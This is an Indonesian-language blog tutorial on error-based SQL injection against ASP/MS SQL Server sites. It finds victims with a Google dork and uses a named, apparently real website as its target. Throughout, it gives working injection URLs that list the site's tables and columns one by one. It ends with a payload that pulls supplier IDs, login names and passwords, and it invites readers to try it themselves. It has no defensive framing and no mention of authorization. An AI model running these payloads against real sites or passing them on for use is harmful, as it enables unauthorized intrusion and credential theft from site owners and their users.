ASP Injection (How To)


Hmm....kok kali ini asp?? iya, kali ini kita akan bahas bagaimana cara SQL Injection pada web asp.
Sekarang kita coba untuk mencari target menggunakan dork inurl:"/e/product/product_list.asp?brand_id=".
Kita anggap kita sudah mendapatkan target yang diinginkan.

Target:
http://yoga4yogi2.intimexptx.com/e/product/product_list.asp?brand_id=26

Sama seperti php, kita cek apakah web tersebut vuln SQL Injection, kita tes dengan cara menambahkan ' pada akhir url.
http://yoga4yogi2.intimexptx.com/e/product/product_list.asp?brand_id=26'

Loading....10%...30%....70%...100%, maka keluar error seperti berikut ini

Microsoft OLE DB Provider for ODBC Drivers '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string '26' '.
/e/include/i_search.asp,909

Error yang kita cari ialah "Unclosed quotation mark before the character string"

Sekarang kita munculkan nama tablenya
Perintah: and 1=convert(int(select top 1 table_name from information_schema.tables))--
URL: http://yoga4yogi2.intimexptx.com/e/product/product_list.asp?brand_id=26' and 1=convert(int,(select top 1 table_name from information_schema.tables))--

Kemudian muncul error
Microsoft OLE DB Provider for ODBC Drivers '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'b2b_so_message' to a column of data type int.
/e/include/i_search.asp, 909
Dari error tersebut, kita tahu bahwa nama tabelnya adalah b2b_so_message.

Sekarang kita munculkan nama tabel berikutnya.
Perintah: and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('tabel1')))--
URL: http://yoga4yogi2.intimexptx.com/e/product/product_list.asp?brand_id=26' and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('b2b_so_message')))--

Kemudian keluar error
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'b2b_spec' to a column of data type int.
Nama tabel kedua adalah:"b2b_spec", sekarang kita cari nama tabel ketiga.
Perintah: and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('tabel1','table2')))--
URL:http://yoga4yogi2.intimexptx.com/e/product/product_list.asp?brand_id=26' and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('b2b_so_message','b2b_spec')))--

Keluarlah error lagi,
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'b2b_spec_matrix' to a column of data type int.
Nama tabel ketiga adalah:"b2b_spec_matrix", sekarang kita munculkan nama tabel keempat.
Perintah: and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('table1','table2','table3')))--
URL:http://yoga4yogi2.intimexptx.com/e/product/product_list.asp?brand_id=26' and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('b2b_so_message','b2b_spec','b2b_spec_matrix')))--

Muncullah tabel keempat dalam error berikut.
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'b2b_spec_prod_matrix' to a column of data type int.
Nama tabel keempat adalah "b2b_spec_prod_matrix", kita munculkan lagi tabel selanjutnya, yaitu tabel kelima.
Perintah:and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('table1','table2','table3','table4')))--
URL:http://yoga4yogi2.intimexptx.com/e/product/product_list.asp?brand_id=26' and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('b2b_so_message','b2b_spec','b2b_spec_matrix','b2b_spec_prod_matrix')))--

Silahkan mencari nama tabel lain yang anda anggap lebih menarik.

Misalkan saja kita sudah mendapat tabel yang kita inginkan, misal tabel yang saya inginkan adalah "b2b_supplier"
Sekarang kita coba untuk memunculkan nama nama kolom dalam tabel tersebut.
Perintah: and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='nama_tabel'))--
URL:http://yoga4yogi2.intimexptx.com/e/product/product_list.asp?brand_id=26' and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='b2b_supplier'))--

10%....30%...90%..100%, wah, lemot nih....
Beberapa saat kemudian, keluarlah error.
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'supplier_id' to a column of data type int.
Dari error itu, kita bisa tahu bahwa nama salah satu kolom tabel "b2b_supplier" adalah "supplier_id".

Sekarang kita mencoba untuk menampilkan nama kolom selanjutnya.
Perintah: and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='nama_tabel' and column_name not in ('nama_kolom1')))--
URL:http://yoga4yogi2.intimexptx.com/e/product/product_list.asp?brand_id=26' and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='b2b_supplier' and column_name not in ('supplier_id')))--

Jreng..Jreng...muncul error
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 's_loginname' to a column of data type int.
Hm....nama kolomnya menarik ya...hehehe.

Kita munculkan nama kolom selanjutnya.
Perintah: and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='nama_tabel' and column_name not in ('nama_kolom1','nama_kolom2')))--
URL:http://yoga4yogi2.intimexptx.com/e/product/product_list.asp?brand_id=26' and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='b2b_supplier' and column_name not in ('supplier_id','s_loginname')))--

Akhirnya muncul error yang ditunggu - tunggu.
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 's_password' to a column of data type int.
Nama kolom ketiga adalah "s_password"

Sebetulnya masih banyak nama kolom lainnya, naun cukup sampai sini saja.

Sekarang kita munculkan data yang ada dalam kolom tersebut.
Perintah untuk 1 kolom: and 1=convert(int,(select top 1 nama_kolom from nama_tabel)
Perintah untuk beberapa kolom: and 1=convert(int,(select top 1 nama_kolom1%2b':'%2bnama_kolom2%2b':'%2bnama_kolom3 from nama_tabel))--
Dengan penjelasan.
%2b merupakan + , dan : sebagai pembatas.
URL:http://yoga4yogi2.intimexptx.com/e/product/product_list.asp?brand_id=26' and 1=convert(int,(select top 1 supplier_id%2b':'%2bs_loginname%2b':'%2bs_password from b2b_supplier))--

Selamat mencoba.

Subscribe to receive free email updates: